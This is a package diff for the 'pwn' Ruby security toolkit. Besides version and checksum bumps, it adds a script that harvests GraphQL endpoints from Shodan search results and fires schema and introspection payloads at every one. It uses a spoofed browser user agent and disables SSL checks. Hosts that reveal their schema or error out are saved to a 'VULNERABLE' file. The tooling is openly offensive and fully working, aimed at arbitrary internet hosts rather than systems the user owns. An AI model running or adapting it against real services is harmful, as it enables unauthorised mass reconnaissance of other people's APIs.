pwn 0.4.886 → 0.4.888
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +2 -2
- data/bin/pwn_shodan_graphql_introspection +311 -0
- data/lib/pwn/version.rb +1 -1
- metadata +3 -1
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 5c9290a5c2e09f3306dfebf9d4a557f5ee9d63ab0a909650af515c99fccdf7a1
|
4
|
+
data.tar.gz: 9ef4d20e21c19bca22c9c678b50dcad41ab00747a09c9a059f06f58ec70d2721
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 3207380842882ae96d64db682b3f1016963a551aa9757f56c29daa0472a2e7856899f5e1a328409ed88fd6e233fb7f06ba6bb92ccdc58bd2ffa78d969f209a3c
|
7
|
+
data.tar.gz: db6d6deac66c00462f27cdb1e89c8a363a01338969489762f5d3d8b3803df66167b606ad78548bf95ebd6eb9eef22235e4d80e491993aacb93a97684ce12777a
|
data/README.md
CHANGED
@@ -37,7 +37,7 @@ $ rvm use ruby-3.2.2@pwn
|
|
37
37
|
$ rvm list gemsets
|
38
38
|
$ gem install --verbose pwn
|
39
39
|
$ pwn
|
40
|
-
pwn[v0.4.
|
40
|
+
pwn[v0.4.888]:001 >>> PWN.help
|
41
41
|
```
|
42
42
|
|
43
43
|
[](https://youtu.be/G7iLUY4FzsI)
|
@@ -52,7 +52,7 @@ $ rvm use ruby-3.2.2@pwn
|
|
52
52
|
$ gem uninstall --all --executables pwn
|
53
53
|
$ gem install --verbose pwn
|
54
54
|
$ pwn
|
55
|
-
pwn[v0.4.
|
55
|
+
pwn[v0.4.888]:001 >>> PWN.help
|
56
56
|
```
|
57
57
|
|
58
58
|
|
@@ -0,0 +1,311 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# frozen_string_literal: true
|
3
|
+
|
4
|
+
require 'faker'
|
5
|
+
require 'json'
|
6
|
+
require 'optparse'
|
7
|
+
require 'pwn'
|
8
|
+
|
9
|
+
opts = {}
|
10
|
+
OptionParser.new do |options|
|
11
|
+
options.on('-jFILE', '--json-results=FILE', 'Required - JSON results file from pwn_shodan_search driver') do |j|
|
12
|
+
opts[:json_results] = j
|
13
|
+
end
|
14
|
+
end.parse!
|
15
|
+
|
16
|
+
if opts.empty?
|
17
|
+
puts `#{$PROGRAM_NAME} --help`
|
18
|
+
exit 1
|
19
|
+
end
|
20
|
+
|
21
|
+
json_results_path = opts[:json_results]
|
22
|
+
raise "ERROR: Shodan JSON Results File #{json_results_path} Does Not Exist." unless File.exist?(json_results_path)
|
23
|
+
|
24
|
+
search_results = JSON.parse(
|
25
|
+
File.read(json_results_path),
|
26
|
+
symbolize_names: true
|
27
|
+
)
|
28
|
+
|
29
|
+
print 'Extracting URIs from Shodan search results...'
|
30
|
+
uri_arr = PWN::Plugins::Shodan.get_uris(search_results: search_results)
|
31
|
+
puts 'complete.'
|
32
|
+
|
33
|
+
print "Extracting GraphQL URIs from #{uri_arr.count} URIs..."
|
34
|
+
graphql_uris = uri_arr.uniq.select do |uri|
|
35
|
+
uri if uri =~ %r{.+/graphql/?$} ||
|
36
|
+
uri =~ %r{.+/graphiql/?$} ||
|
37
|
+
uri =~ %r{.+/playground/?$} ||
|
38
|
+
uri =~ %r{.+/console/?$} ||
|
39
|
+
uri =~ %r{.+/query/?$} ||
|
40
|
+
uri =~ %r{.+/gql/?$} ||
|
41
|
+
uri =~ %r{.+/index.php?graphql$}
|
42
|
+
end
|
43
|
+
puts 'complete.'
|
44
|
+
|
45
|
+
browser_obj = PWN::Plugins::TransparentBrowser.open(browser_type: :rest)
|
46
|
+
rest_client = browser_obj[:browser]::Request
|
47
|
+
|
48
|
+
graphql_payloads_arr = []
|
49
|
+
|
50
|
+
graphql_schema_payload = '{ "query": "{ __schema { types { name } } }" }'
|
51
|
+
graphql_payloads_arr.push(graphql_schema_payload)
|
52
|
+
|
53
|
+
graphql_introspection_payload1 = <<-END_OF_PAYLOAD
|
54
|
+
{
|
55
|
+
query IntrospectionQuery {
|
56
|
+
__schema {
|
57
|
+
|
58
|
+
queryType { name }
|
59
|
+
mutationType { name }
|
60
|
+
subscriptionType { name }
|
61
|
+
types { ...FullType }
|
62
|
+
directives {
|
63
|
+
name
|
64
|
+
description
|
65
|
+
locations
|
66
|
+
args { ...InputValue }
|
67
|
+
}
|
68
|
+
}
|
69
|
+
}
|
70
|
+
|
71
|
+
fragment FullType on __Type {
|
72
|
+
kind
|
73
|
+
name
|
74
|
+
description
|
75
|
+
fields(includeDeprecated: true) {
|
76
|
+
name
|
77
|
+
description
|
78
|
+
args { ...InputValue }
|
79
|
+
type { ...TypeRef }
|
80
|
+
isDeprecated
|
81
|
+
deprecationReason
|
82
|
+
}
|
83
|
+
inputFields {
|
84
|
+
...InputValue
|
85
|
+
}
|
86
|
+
interfaces {
|
87
|
+
...TypeRef
|
88
|
+
}
|
89
|
+
enumValues(includeDeprecated: true) {
|
90
|
+
name
|
91
|
+
description
|
92
|
+
isDeprecated
|
93
|
+
deprecationReason
|
94
|
+
}
|
95
|
+
possibleTypes {
|
96
|
+
...TypeRef
|
97
|
+
}
|
98
|
+
}
|
99
|
+
|
100
|
+
fragment InputValue on __InputValue {
|
101
|
+
name
|
102
|
+
description
|
103
|
+
type { ...TypeRef }
|
104
|
+
defaultValue
|
105
|
+
}
|
106
|
+
|
107
|
+
fragment TypeRef on __Type {
|
108
|
+
kind
|
109
|
+
name
|
110
|
+
ofType {
|
111
|
+
kind
|
112
|
+
name
|
113
|
+
ofType {
|
114
|
+
kind
|
115
|
+
name
|
116
|
+
ofType {
|
117
|
+
kind
|
118
|
+
name
|
119
|
+
ofType {
|
120
|
+
kind
|
121
|
+
name
|
122
|
+
ofType {
|
123
|
+
kind
|
124
|
+
name
|
125
|
+
ofType {
|
126
|
+
kind
|
127
|
+
name
|
128
|
+
ofType {
|
129
|
+
kind
|
130
|
+
name
|
131
|
+
}
|
132
|
+
}
|
133
|
+
}
|
134
|
+
}
|
135
|
+
}
|
136
|
+
}
|
137
|
+
}
|
138
|
+
}
|
139
|
+
}
|
140
|
+
END_OF_PAYLOAD
|
141
|
+
graphql_payloads_arr.push(graphql_introspection_payload1)
|
142
|
+
|
143
|
+
graphql_introspection_payload2 = <<-END_OF_PAYLOAD
|
144
|
+
{
|
145
|
+
"operationName":"IntrospectionQuery",
|
146
|
+
"variables":{},
|
147
|
+
"query":"
|
148
|
+
fragment FullType on __Type {
|
149
|
+
kind
|
150
|
+
name
|
151
|
+
description
|
152
|
+
fields(includeDeprecated: true) {
|
153
|
+
name
|
154
|
+
description
|
155
|
+
args { ...InputValue }
|
156
|
+
type { ...TypeRef }
|
157
|
+
isDeprecated deprecationReason
|
158
|
+
}
|
159
|
+
inputFields { ...InputValue }
|
160
|
+
interfaces { ...TypeRef }
|
161
|
+
enumValues(includeDeprecated: true) {
|
162
|
+
name
|
163
|
+
description
|
164
|
+
isDeprecated
|
165
|
+
deprecationReason
|
166
|
+
}
|
167
|
+
possibleTypes { ...TypeRef }
|
168
|
+
}
|
169
|
+
|
170
|
+
fragment InputValue on __InputValue {
|
171
|
+
name
|
172
|
+
description
|
173
|
+
type { ...TypeRef }
|
174
|
+
defaultValue
|
175
|
+
}
|
176
|
+
|
177
|
+
fragment TypeRef on __Type {
|
178
|
+
kind
|
179
|
+
name
|
180
|
+
ofType {
|
181
|
+
kind
|
182
|
+
name
|
183
|
+
ofType {
|
184
|
+
kind
|
185
|
+
name
|
186
|
+
ofType {
|
187
|
+
kind
|
188
|
+
name
|
189
|
+
ofType {
|
190
|
+
kind
|
191
|
+
name
|
192
|
+
ofType {
|
193
|
+
kind
|
194
|
+
name
|
195
|
+
ofType {
|
196
|
+
kind
|
197
|
+
name
|
198
|
+
ofType {
|
199
|
+
kind
|
200
|
+
name
|
201
|
+
}
|
202
|
+
}
|
203
|
+
}
|
204
|
+
}
|
205
|
+
}
|
206
|
+
}
|
207
|
+
}
|
208
|
+
}
|
209
|
+
|
210
|
+
query IntrospectionQuery {
|
211
|
+
__schema {
|
212
|
+
queryType { name }
|
213
|
+
mutationType { name }
|
214
|
+
types { ...FullType }
|
215
|
+
directives {
|
216
|
+
name
|
217
|
+
description
|
218
|
+
locations
|
219
|
+
args { ...InputValue }
|
220
|
+
}
|
221
|
+
}
|
222
|
+
}"
|
223
|
+
}
|
224
|
+
END_OF_PAYLOAD
|
225
|
+
graphql_payloads_arr.push(graphql_introspection_payload2)
|
226
|
+
|
227
|
+
# Math Part
|
228
|
+
graphql_uri_tot = graphql_uris.length
|
229
|
+
payload_tot = graphql_payloads_arr.length
|
230
|
+
request_tot = payload_tot * graphql_uri_tot
|
231
|
+
|
232
|
+
puts "Sending #{payload_tot} payloads to #{graphql_uris.count} GraphQL URIs..."
|
233
|
+
puts "Total HTTP Requests: #{request_tot}"
|
234
|
+
|
235
|
+
user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36'
|
236
|
+
introspection_arr_of_hashes = []
|
237
|
+
graphql_uris.each do |this_uri|
|
238
|
+
puts "IN PROGRESS: #{this_uri}..."
|
239
|
+
graphql_payloads_arr.each_with_index do |this_payload, payload_index|
|
240
|
+
# user_agent = Faker::Internet.user_agent
|
241
|
+
timestamp = Time.now.strftime('%Y-%m-%d_%H:%M:%S')
|
242
|
+
introspection_hash = {
|
243
|
+
time: timestamp,
|
244
|
+
uri: this_uri,
|
245
|
+
payload_index: payload_index,
|
246
|
+
response_code: nil,
|
247
|
+
response_headers: nil,
|
248
|
+
response: nil
|
249
|
+
}
|
250
|
+
resp = rest_client.execute(
|
251
|
+
method: :post,
|
252
|
+
url: this_uri,
|
253
|
+
headers: {
|
254
|
+
content_type: 'application/json; charset=UTF-8',
|
255
|
+
user_agent: user_agent
|
256
|
+
},
|
257
|
+
payload: this_payload,
|
258
|
+
verify_ssl: false,
|
259
|
+
timeout: 3.0,
|
260
|
+
max_redirects: 3
|
261
|
+
)
|
262
|
+
introspection_hash[:response_code] = resp.code
|
263
|
+
introspection_hash[:response_headers] = resp.headers
|
264
|
+
json_resp = JSON.parse(
|
265
|
+
resp.body,
|
266
|
+
symbolize_names: true
|
267
|
+
)
|
268
|
+
|
269
|
+
introspection_hash[:response] = json_resp
|
270
|
+
rescue Errno::ECONNREFUSED,
|
271
|
+
Errno::ENETUNREACH,
|
272
|
+
JSON::ParserError,
|
273
|
+
OpenSSL::SSL::SSLError,
|
274
|
+
SocketError => e
|
275
|
+
|
276
|
+
introspection_hash[:response_code] = "#{e.class}: #{e.message}"
|
277
|
+
|
278
|
+
next
|
279
|
+
rescue RestClient::ExceptionWithResponse => e
|
280
|
+
introspection_hash[:response_code] = "#{e.class}: #{e.message}" if e.response.nil?
|
281
|
+
|
282
|
+
if e.response
|
283
|
+
introspection_hash[:response_code] = e.response.code
|
284
|
+
introspection_hash[:response_headers] = e.response.headers
|
285
|
+
introspection_hash[:response] = e.response.body
|
286
|
+
end
|
287
|
+
|
288
|
+
next
|
289
|
+
ensure
|
290
|
+
introspection_arr_of_hashes.push(introspection_hash)
|
291
|
+
end
|
292
|
+
end
|
293
|
+
puts 'complete.'
|
294
|
+
|
295
|
+
timestamp = Time.now.strftime('%Y-%m-%d_%H:%M:%S')
|
296
|
+
print 'Saving Introspection Results...'
|
297
|
+
File.write(
|
298
|
+
"graphql_results-#{timestamp}-ALL.json",
|
299
|
+
JSON.pretty_generate(introspection_arr_of_hashes)
|
300
|
+
)
|
301
|
+
|
302
|
+
vulnerable_uris = introspection_arr_of_hashes.select do |h|
|
303
|
+
h if (h[:response].is_a?(Hash) && h[:response].keys.first.to_sym == :data) ||
|
304
|
+
(h[:response].is_a?(Integer) && h[:response_code] == 415) ||
|
305
|
+
(h[:response].is_a?(Integer) && h[:response_code] >= 500)
|
306
|
+
end
|
307
|
+
File.write(
|
308
|
+
"graphql_results-#{timestamp}-VULNERABLE.json",
|
309
|
+
JSON.pretty_generate(vulnerable_uris)
|
310
|
+
)
|
311
|
+
puts 'complete.'
|
data/lib/pwn/version.rb
CHANGED
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: pwn
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.4.
|
4
|
+
version: 0.4.888
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- 0day Inc.
|
@@ -1189,6 +1189,7 @@ executables:
|
|
1189
1189
|
- pwn_serial_msr206
|
1190
1190
|
- pwn_serial_qualcomm_commands
|
1191
1191
|
- pwn_serial_son_micro_sm132_rfid
|
1192
|
+
- pwn_shodan_graphql_introspection
|
1192
1193
|
- pwn_shodan_search
|
1193
1194
|
- pwn_simple_http_server
|
1194
1195
|
- pwn_web_cache_deception
|
@@ -1255,6 +1256,7 @@ files:
|
|
1255
1256
|
- bin/pwn_serial_msr206
|
1256
1257
|
- bin/pwn_serial_qualcomm_commands
|
1257
1258
|
- bin/pwn_serial_son_micro_sm132_rfid
|
1259
|
+
- bin/pwn_shodan_graphql_introspection
|
1258
1260
|
- bin/pwn_shodan_search
|
1259
1261
|
- bin/pwn_simple_http_server
|
1260
1262
|
- bin/pwn_web_cache_deception
|